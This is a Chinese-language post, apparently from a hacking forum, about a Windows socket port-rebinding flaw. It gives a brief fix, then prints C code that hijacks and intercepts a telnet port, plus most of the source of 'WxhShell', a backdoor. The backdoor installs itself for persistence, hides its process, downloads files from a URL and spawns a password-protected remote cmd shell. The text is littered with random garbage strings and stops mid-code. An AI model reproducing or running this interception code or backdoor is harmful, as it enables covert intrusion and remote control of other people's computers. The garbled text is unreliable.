在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
|7#S0Ca@ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
OK] _.v} rbt/b0ET saddr.sin_family = AF_INET;
DYf3>xh>xb (J6>]MZ#) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
'G)UIjl QJ4=*tX) bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
*`]#ntz9 x*#9\*@EI 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
N\{{:<Cp\ <sncW>?!~ 这意味着什么?意味着可以进行如下的攻击:
\8^c"%v,: $eu-8E' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
,@Fde=Lw j1~'[ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
0rrNVaM )JsmzGC0 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
"/kTEp w}rsboU 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
<*Bk.>f! QKHAN{hJ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
1F,>siuh , <rn26Gfr 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Gnthz0\]{ EEJ OJ< 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
2kSN<jMr Ze.\<^-t #include
aj`_*T"A #include
}K.2 #include
59MpHkr #include
Dg=!d)\ DWORD WINAPI ClientThread(LPVOID lpParam);
u*6Y>_iA int main()
UFl+|wf {
c'}dsq\ WORD wVersionRequested;
dd-`/A@ DWORD ret;
rtn.^HF WSADATA wsaData;
nj4G8/U-q BOOL val;
hk.vBbhs SOCKADDR_IN saddr;
o;"Phc. SOCKADDR_IN scaddr;
PdD,~N# int err;
9Hm>@dBhM SOCKET s;
/%{Qf SOCKET sc;
gp(: o$ int caddsize;
f&2f8@ HANDLE mt;
/H'F4-> DWORD tid;
[bh8Nj\E wVersionRequested = MAKEWORD( 2, 2 );
/^\UB
fE err = WSAStartup( wVersionRequested, &wsaData );
U9t-(`[j? if ( err != 0 ) {
I&JjyR printf("error!WSAStartup failed!\n");
GwM(E^AG return -1;
2A(?9
R9&h }
YIn
H8Ex saddr.sin_family = AF_INET;
oYR OGU [))TL //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
h%PbM`:}6 RQO&F$R= saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
:~wU/dEEiz saddr.sin_port = htons(23);
SCL8.%z D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/v-:ca)7mI {
IBm"VCg{Ew printf("error!socket failed!\n");
|kc#=b@l return -1;
sNHxUI }
FQe82tfV+ val = TRUE;
;6655C //SO_REUSEADDR选项就是可以实现端口重绑定的
~cH3RFV if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
AI,Jy%62/ {
U-ADdOh"q printf("error!setsockopt failed!\n");
8Cef ]@x return -1;
rE?Fp }
"n%0L4J //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Ql]+,^kA@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
chakp!S= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Vk:] aveW Q4h6K7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
FMEW[' {
k0@*Up3{7 ret=GetLastError();
rv <_'yj printf("error!bind failed!\n");
T=,A p a return -1;
^-2|T__ }
)8&;Q9'o listen(s,2);
jBMGm"NE while(1)
_%]x-yH!@ {
hCpcX"wND caddsize = sizeof(scaddr);
.C\## //接受连接请求
cH48) sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
vhd +A if(sc!=INVALID_SOCKET)
L+D 9ZE] {
b <z)4 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
h/pm$9A if(mt==NULL)
C
@nA* {
Wy.^1M/n>~ printf("Thread Creat Failed!\n");
@(W{_ mw break;
]$&N"&q }
n^iq?u }
y
Q-{
CJ, CloseHandle(mt);
u:w }
{'a|$u+ closesocket(s);
{$QkerW3 WSACleanup();
s"JD,gm$ return 0;
0Zh]n;S3m }
~UNK[ DWORD WINAPI ClientThread(LPVOID lpParam)
d#1yVdqRl {
SIZZFihcYh SOCKET ss = (SOCKET)lpParam;
i`^[_ SOCKET sc;
}l7@:ezZZ7 unsigned char buf[4096];
#?C.%kD SOCKADDR_IN saddr;
0vZ49}mb) long num;
3eERY[ DWORD val;
2(AuhZ> DWORD ret;
XiO~^=J //如果是隐藏端口应用的话,可以在此处加一些判断
*2>kic
aH //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
W9!K~g_ saddr.sin_family = AF_INET;
} /*U~!t saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
VRB!u420 saddr.sin_port = htons(23);
K_ Od u^ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
g[Q+DT {
e!=~f%c<N printf("error!socket failed!\n");
]sZ!
-q'8 return -1;
Seh(G }
;<l#k7 / val = 100;
>
JV$EY, if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
YL&)@h {
P09f ret = GetLastError();
2rxz<ck( return -1;
5tl($j }
F%IvgXt5 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"A]#KTP {
yJ4ZB/ZQ ret = GetLastError();
Zo<j"FG return -1;
hQ (84u }
t76B0L{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
SS6K7 {
k`w/ printf("error!socket connect failed!\n");
G@zJf)u} closesocket(sc);
Xp[x O 0 closesocket(ss);
Z;y(D_;_ return -1;
HCw,bRxm }
NXX/JJ+w while(1)
z/,&w_8,: {
B \LmE+a> //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
SW}?y%~ //如果是嗅探内容的话,可以再此处进行内容分析和记录
`\$EPUM //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
MdDL?ev num = recv(ss,buf,4096,0);
\V#fl if(num>0)
oA?EJ ~% send(sc,buf,num,0);
#z+?t else if(num==0)
m5v IS break;
;;|.qgxc~ num = recv(sc,buf,4096,0);
4L_)@n} if(num>0)
:%>)S send(ss,buf,num,0);
)4TP{tp else if(num==0)
E[cH/Rm break;
u|cP&^S }
F:og :[ closesocket(ss);
01~
nC@; closesocket(sc);
F+ %l=
fs return 0 ;
ERy=lP~gV }
C55Av%-= tl;b~k wJC F"e ==========================================================
erhez &z#`Qa3NI 下边附上一个代码,,WXhSHELL
U$46=F| uUb`Fy9 ==========================================================
x\oSD1t, ;!A=YXB #include "stdafx.h"
O(6j:XD Y/sZPG}4 #include <stdio.h>
nH<#MGBS #include <string.h>
8S7#tb@3 #include <windows.h>
K#Zv>x!to #include <winsock2.h>
t.#ara{ #include <winsvc.h>
'<s54 Cb #include <urlmon.h>
GvZ[3GT {isL< #pragma comment (lib, "Ws2_32.lib")
2u$rloc$b #pragma comment (lib, "urlmon.lib")
_F5*\tQ f]_'icP #define MAX_USER 100 // 最大客户端连接数
0xY</S #define BUF_SOCK 200 // sock buffer
fejC,H4I #define KEY_BUFF 255 // 输入 buffer
JT&RaFX _+X-D9j(l #define REBOOT 0 // 重启
_u]%K-_ #define SHUTDOWN 1 // 关机
s(KSN/ &$ud;r# #define DEF_PORT 5000 // 监听端口
.TCDv4? VVDW=G #define REG_LEN 16 // 注册表键长度
>g m #define SVC_LEN 80 // NT服务名长度
!ewT#afyu( t3h ){jZ // 从dll定义API
Sy']fGvx typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
}|%1LL^pB typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
hI9q);g typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
kD0bdE| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
o{hX?,4i Au6Y] // wxhshell配置信息
!6x7^E;c struct WSCFG {
CW2)1%1iz int ws_port; // 监听端口
=t`cHs29 char ws_passstr[REG_LEN]; // 口令
}*C*!?pcd int ws_autoins; // 安装标记, 1=yes 0=no
3I(;c ,S char ws_regname[REG_LEN]; // 注册表键名
K:^0*5Y-k char ws_svcname[REG_LEN]; // 服务名
skBD2V4 char ws_svcdisp[SVC_LEN]; // 服务显示名
oEX^U4/= char ws_svcdesc[SVC_LEN]; // 服务描述信息
91]sO%3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
k<5g int ws_downexe; // 下载执行标记, 1=yes 0=no
>ZW|wpO char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
B%tWi char ws_filenam[SVC_LEN]; // 下载后保存的文件名
i4]oE&G ]x{.qTtw };
r?IBmatK/ 0zE@?. // default Wxhshell configuration
k(M:#oA! struct WSCFG wscfg={DEF_PORT,
^,#my<{ "xuhuanlingzhe",
Svb>s|D 1,
#wo
*2( "Wxhshell",
\h_q] "Wxhshell",
[h8s0 "WxhShell Service",
%~y>9K "Wrsky Windows CmdShell Service",
Sg4{IU "Please Input Your Password: ",
|-)8=QDz)r 1,
=~k
c7f{ "
http://www.wrsky.com/wxhshell.exe",
9?8PMh. "Wxhshell.exe"
b+|3nc! };
tU5uL.( O dt^h9I2O // 消息定义模块
fvcS=nRQv char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
?^M,Mt char *msg_ws_prompt="\n\r? for help\n\r#>";
7YR|6{@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
y$_@C8?H char *msg_ws_ext="\n\rExit.";
(0B?OkQ char *msg_ws_end="\n\rQuit.";
DzQ char *msg_ws_boot="\n\rReboot...";
cP D_=.& char *msg_ws_poff="\n\rShutdown...";
&w#! char *msg_ws_down="\n\rSave to ";
j:xC\b47" GB35o uE char *msg_ws_err="\n\rErr!";
#c5jCy}n char *msg_ws_ok="\n\rOK!";
N+h05` l?=\9y char ExeFile[MAX_PATH];
"4;nnq int nUser = 0;
wD=]U@t`, HANDLE handles[MAX_USER];
YZj*F-} int OsIsNt;
NC#F:M;b s2#Ia>5! SERVICE_STATUS serviceStatus;
i'7+
?YL SERVICE_STATUS_HANDLE hServiceStatusHandle;
D:;idUO LP=j/qf| // 函数声明
'*`#xNu[ int Install(void);
@p
L9a1PJv int Uninstall(void);
>WIc"y. int DownloadFile(char *sURL, SOCKET wsh);
~Ix2O int Boot(int flag);
'gvR?[!t void HideProc(void);
X!p`|i int GetOsVer(void);
ocFk#FW int Wxhshell(SOCKET wsl);
Sk E <V0 void TalkWithClient(void *cs);
;Mup@)!j int CmdShell(SOCKET sock);
XzHR^^;u"* int StartFromService(void);
b:D92pH int StartWxhshell(LPSTR lpCmdLine);
qD4]7"9 S0)JIrrHC VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&CQO+Yr$l VOID WINAPI NTServiceHandler( DWORD fdwControl );
z@i4 $[A\i<# // 数据结构和表定义
pYx,*kG:HW SERVICE_TABLE_ENTRY DispatchTable[] =
D]]wJQU2 {
DK\XC%~m {wscfg.ws_svcname, NTServiceMain},
\xj;{xc {NULL, NULL}
+yp:douERi };
:-B+W9'5 d=PX}o^ // 自我安装
_r*\ BM8y int Install(void)
jYFJk&c {
\&5V'; char svExeFile[MAX_PATH];
!Aw^X} C HKEY key;
R7kkth strcpy(svExeFile,ExeFile);
`oJQA$UD r<ucHRO# // 如果是win9x系统,修改注册表设为自启动
4"|Xndh1. if(!OsIsNt) {
N-\N\uN if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
y%SxQA+\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
G{3|d/;Bt RegCloseKey(key);
O\ZC$XF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
];OvV ,* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
gvA}s/ RegCloseKey(key);
Dz(\ ? return 0;
S^eem_C }
y|2<Vc }
x,!Dd }
1)56ec<c else {
sD:o
2(G* UX@%1W!8 // 如果是NT以上系统,安装为系统服务
#$I@V4O;# SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
j#1G?MF if (schSCManager!=0)
}OpUG {
N/bOl~!y SC_HANDLE schService = CreateService
X.eOw>. (
h0'*)`;z schSCManager,
GtVT^u_ wscfg.ws_svcname,
H#~gx_^U wscfg.ws_svcdisp,
7nek,8b SERVICE_ALL_ACCESS,
jYHn J}< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
^#HaH SERVICE_AUTO_START,
<+_XGOt0< SERVICE_ERROR_NORMAL,
p~ b4TRvA6 svExeFile,
{^WK#$] NULL,
<RY =y?%z NULL,
w+g29 NULL,
/jG?PZ=m NULL,
jE\G_> NULL
R2,9%!iiX );
)`DVPudiy if (schService!=0)
r5}p . {
Mg;pNK\n CloseServiceHandle(schService);
rwRZGd *p CloseServiceHandle(schSCManager);
}QFL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
u>*a@3$f strcat(svExeFile,wscfg.ws_svcname);
i#[8I-OtN/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
(S~kyU!)0 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
^kKLi RegCloseKey(key);
Qr.{_M return 0;
jHFjd' }
:_8K8Sa }
g\q . CloseServiceHandle(schSCManager);
|+Y-i4t }
_:r8UVAT. }
,:?ibE= f%]@e9dD return 1;
hX.cdt_? }
/Q1 b%C 'Z{`P0/^o` // 自我卸载
4uXGpsL int Uninstall(void)
~H}Z;n]H {
OrkcY39"~a HKEY key;
C4mkt2Eb0a gP%<<yl if(!OsIsNt) {
x{1 v(n8+= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
!> sA.L&= RegDeleteValue(key,wscfg.ws_regname);
X-\$<DiJGv RegCloseKey(key);
9q`Ewj R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
QVT0.GzR RegDeleteValue(key,wscfg.ws_regname);
G\sx'#Whc RegCloseKey(key);
w
<r*& return 0;
+(+lbCW/ }
xV>
.] }
Xf4Q Lw/r }
REh"/d else {
5U2%X
pO K*@?BE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
k79OMf<v if (schSCManager!=0)
3f`Uoh+ {
K)'[^V Xh SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
)I%M]K]F if (schService!=0)
V%R]jbHZ# {
#Pd9i5~N if(DeleteService(schService)!=0) {
([8*Py| CloseServiceHandle(schService);
,RPb<3
B CloseServiceHandle(schSCManager);
f#s 6 'g
return 0;
o,i_py }
fbApE CloseServiceHandle(schService);
f7&ni#^Ztj }
GgpE"M? CloseServiceHandle(schSCManager);
fzJiW@-T }
59.$;Ip;g }
]3v)3Wp qz`-?,pF return 1;
LQF;T7VKS) }
v[$e{ Dz( -RP{viGWK // 从指定url下载文件
WI1YP0V int DownloadFile(char *sURL, SOCKET wsh)
WL+EpNKSf {
4 $k{, HRESULT hr;
C6>_wl] char seps[]= "/";
G? SPz char *token;
>)4~,-;k char *file;
(#dR\Di char myURL[MAX_PATH];
.U{}N%S char myFILE[MAX_PATH];
w"v96%"Y 8(? &=>@ strcpy(myURL,sURL);
Jq^[^ token=strtok(myURL,seps);
M(>74(}] while(token!=NULL)
zw3I(_d[ {
)a^&7 file=token;
2m $C;j!D token=strtok(NULL,seps);
PcsYy]Q/ }
mU[\// ^@x&n)nzP GetCurrentDirectory(MAX_PATH,myFILE);
T>'w]wi strcat(myFILE, "\\");
<SE-:T]sBz strcat(myFILE, file);
R(}<W$(TV send(wsh,myFILE,strlen(myFILE),0);
Ea4zC|; send(wsh,"...",3,0);
]+G
.S-a hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
1#Vd)vSP if(hr==S_OK)
^2dQVV. return 0;
x}ZXeqt{{ else
zW`Hqt; return 1;
=bp'5h8_ 56Lxr{+X }
~vYFQKrb "C}<umJ' // 系统电源模块
92j[b_P int Boot(int flag)
(%6fZ {
O}C*weU HANDLE hToken;
6EY\ TOKEN_PRIVILEGES tkp;
5xc e1[ whN<{AG if(OsIsNt) {
>JNdtP8s/1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
CL7_3^2qI LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
\6AM?}v tkp.PrivilegeCount = 1;
!}}
)f/ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
K7s[Fa6J AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
W
/v
&V# if(flag==REBOOT) {
0<V/[$}\D if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
$JOtUB{ return 0;
y:E$n! }
Q0-gU+ig else {
{yNeZXA> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
z}SJ~WY'[ return 0;
k/F#-},Q. }
R.1.LB }
#y&5pP:@ else {
y /vc\e if(flag==REBOOT) {
otaRA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
zZd.U\"2 return 0;
_k}Qe; }
#bcZ:D@FC else {
0[H/>%3O if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
{*;K>%r\o return 0;
P*[wB_^&UP }
E;H9]*x/ }
9y[U\[H ;Mmu} return 1;
LT)I
?ud }
VOYQ<tg #HP-ne; # // win9x进程隐藏模块
Jr'a_(~ void HideProc(void)
+b_[JP2 {
X6}W] ]?V:+>t= HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
07=I&Pum if ( hKernel != NULL )
S5gBVGh {
h143HXBi1+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
7`7 M4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
rPr]f; FreeLibrary(hKernel);
p/eaO{6 6 }
ZG +FX:v AP`1hz4].- return;
~[F7M{LS }
K20Hh7cVJ u-jV@Tz // 获取操作系统版本
{ZdF6~+H(! int GetOsVer(void)
W NeBthq6 {
*oLDy1< OSVERSIONINFO winfo;
G'Wp)W;])\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
]>Dbta.27 GetVersionEx(&winfo);
Q e/XEW if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
+P9eE,WR return 1;
r(>812^\ else
xxg/vaQt=s return 0;
!Mgo~h"]# }
EXbZ9 o* Txl|F\nK` // 客户端句柄模块
;Y8>? int Wxhshell(SOCKET wsl)
#I MaN% {
\)6AzCq SOCKET wsh;
[CI0N
I6F struct sockaddr_in client;
h=6D=6c DWORD myID;
amExZ/ FzSL[S4i while(nUser<MAX_USER)
FbMtor {
y5KeUMcu int nSize=sizeof(client);
LRaO}-<b wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
{2Ew^Li if(wsh==INVALID_SOCKET) return 1;
s1sn,? 7}MnvWP handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
;xUo(^t7> if(handles[nUser]==0)
`<P:ly. closesocket(wsh);
7K&Uu3m else
@@-TW`G7 nUser++;
] ZP!y }
2 ( I4h[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-da: j-_ K}
T=j+ return 0;
KSS]% 66Y }
RO3q!+a$/ |Vlx: // 关闭 socket
G{,DoCM5WL void CloseIt(SOCKET wsh)
RX_f[ {
~xDu2-5 closesocket(wsh);
!/a6;:_y nUser--;
O3T7O`H[ ExitThread(0);
k{S8q?Gc }
C[jX;//Jiu Qc!3y>Y=_ // 客户端请求句柄
o~CEja&( void TalkWithClient(void *cs)
T.')XKP)1N {
!Ea9
fe 9
!UNO SOCKET wsh=(SOCKET)cs;
`'5vkO> char pwd[SVC_LEN];
Z5F#r>> ` char cmd[KEY_BUFF];
a[z$ae7 char chr[1];
3 G<4rH] int i,j;
'Q7^bF^ vf#d while (nUser < MAX_USER) {
O&y`:# a9 q:e if(wscfg.ws_passstr) {
;!=i|"PG if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
dHg[r|xC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_!vy|,w@e //ZeroMemory(pwd,KEY_BUFF);
@^ti*` i=0;
f52P1V] while(i<SVC_LEN) {
d-m.aP)y: ux!YVvTPd // 设置超时
|&
jrU-( fd_set FdRead;
<I2ENo5? struct timeval TimeOut;
&%@O V:C FD_ZERO(&FdRead);
\X!NoF FD_SET(wsh,&FdRead);
7TI6EKr TimeOut.tv_sec=8;
Z1v~tqx TimeOut.tv_usec=0;
b$Dh|-8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
QY<5o;m` if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
'+vmC*-I( r_,;[+! if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
ZQ*Us*9I pwd
=chr[0]; ;PMh>ZE`
if(chr[0]==0xd || chr[0]==0xa) { D *PEIsV
pwd=0; m__pQu:
break; l1O"hd'~s
} j`$$BVZ
i++; -r3
s{HO
} ,LSiQmV5
4$ihnb`DQN
// 如果是非法用户,关闭 socket v2:i'j6
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $?k]KD
} ZMiOKVl
< FO=PM
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1kUlQ*[<|
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UuF(n$B
y:Of~
]9@
while(1) { FINHO058^Y
PXJ7Ek*/
ZeroMemory(cmd,KEY_BUFF); WK7?~R%rq
E'Ux2sh
// 自动支持客户端 telnet标准 g3{UP]Z71
j=0; 5U+4vV/*
while(j<KEY_BUFF) { O1t$]k:
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kcg\f@d$
cmd[j]=chr[0]; IPYwUix
if(chr[0]==0xa || chr[0]==0xd) { [2Nux0g
cmd[j]=0; s/C'f4
break; SZ$WC8AX
} U-m MKRV
j++; p nI=
} =8<~pr-NO
0jjtx'F
// 下载文件 %+Z*-iX
if(strstr(cmd,"http://")) { iI7ocyUv
send(wsh,msg_ws_down,strlen(msg_ws_down),0); h4F%lGot
if(DownloadFile(cmd,wsh)) 3/Z>W|w#w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ez*QP|F*9
else /T(9:1/G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); > l0H)W
} #qDm)zCM
else { gM=:80
yzzJKucVU:
switch(cmd[0]) { qnj'*]ysBC
|rZMcl/
// 帮助 LfFXYX^
case '?': { $YcB=l
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); | Rhqi
break; ?7LvJ8
} bGgpPV
// 安装 v}V[sIs}
case 'i': { uZ-ZZE C
if(Install()) 09G47YkSy1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kV5)3%?
else p:Lmf8EI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \#I$H9O
break; |C<#M<
} 25{_x3t^
// 卸载 2@GizT*mA
case 'r': { ^rP]B-)
if(Uninstall()) +s"6[\H1d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); S**eI<QFSk
else wB \`3u4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b7Z o~Z
break; :Ez,GA k
} $#u'XyA
// 显示 wxhshell 所在路径 ,bdjk(
case 'p': { 5h6o}
char svExeFile[MAX_PATH]; h3k>WNT7
strcpy(svExeFile,"\n\r"); DHw)]WB M
strcat(svExeFile,ExeFile); Kob,}NgqZ
send(wsh,svExeFile,strlen(svExeFile),0); 15<? [`:6
break; Y-YuY
} g""GQeR
// 重启 \'*M
}G
case 'b': { K SOD(
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x6s|al
if(Boot(REBOOT)) [{BY$"b#:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bD:0k.`
else { l$/lbwi%
closesocket(wsh); wL
4Y%g
ExitThread(0); :\His{%
} %'H DP3
break; I_u/
} n%J=!z3
// 关机 BrwC9:
case 'd': { k_0@,b3
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !#O[RS
if(Boot(SHUTDOWN)) Hn(1_I%zF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }A24;'}
else { M]/aW
closesocket(wsh); X4!7/&
ExitThread(0); Rxd4{L
)n
} K=v:qY4Z
break; ?[NC}LC
} "yaxHd
// 获取shell SXOAa<u5
case 's': { PLc5m5
CmdShell(wsh); D@*<O=_D(
closesocket(wsh); f;zNNx<
;
ExitThread(0); m3lz#Pm'0
break; .=#jdc/
} CG=c@-"n/
// 退出 K\F0nToJ.
case 'x': { L4g%o9G
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [c
8=b,EI
CloseIt(wsh); H,X|-B
break; 0Lxz?R x]<
} 8v& \F
// 离开 rXX>I;`&
case 'q': { =L" 0]4K
send(wsh,msg_ws_end,strlen(msg_ws_end),0); lZcNio
closesocket(wsh); UPfO;Z`hJ
WSACleanup(); s.}K?)mH
exit(1); \7/yWd{N$
break; U+)p'%f;
} y3dk4s77
} LEgP-sW
} FRrp@hE
yS\&2"o
// 提示信息 \% =\4%:
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k k3^m1
} <'I["Um
} :;7I_tb
fo@^=-4A-
return; pD732L@q
}
|/*Pimk
(G>[A}-
// shell模块句柄 ;[sW\Ou
int CmdShell(SOCKET sock) e yJ07
{ GlAI~ \A
STARTUPINFO si; p?:5U[KM
ZeroMemory(&si,sizeof(si)); 5:h[%3'bB
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cqNK`3:.j
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ((k"*f2%
PROCESS_INFORMATION ProcessInfo; c~Ka) dF|
char cmdline[]="cmd"; 7w/IHM L
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #dA$k+3
return 0; \WCQ>c?~
} v~P,OP("c
o|(5Sr&H
// 自身启动模式 NXY jb(4:
int StartFromService(void) I#M3cI!X?
{ ;!4gDvm
typedef struct M<fhQJ
{ `a& kD|Yh
DWORD ExitStatus; FM@iIlY"
DWORD PebBaseAddress; K T}
DWORD AffinityMask; &r5q,l&@n
DWORD BasePriority; 5yy:JTAH5
ULONG UniqueProcessId; `C+<!)2
ULONG InheritedFromUniqueProcessId; #.bW9j/
} PROCESS_BASIC_INFORMATION; $"^K~5Q
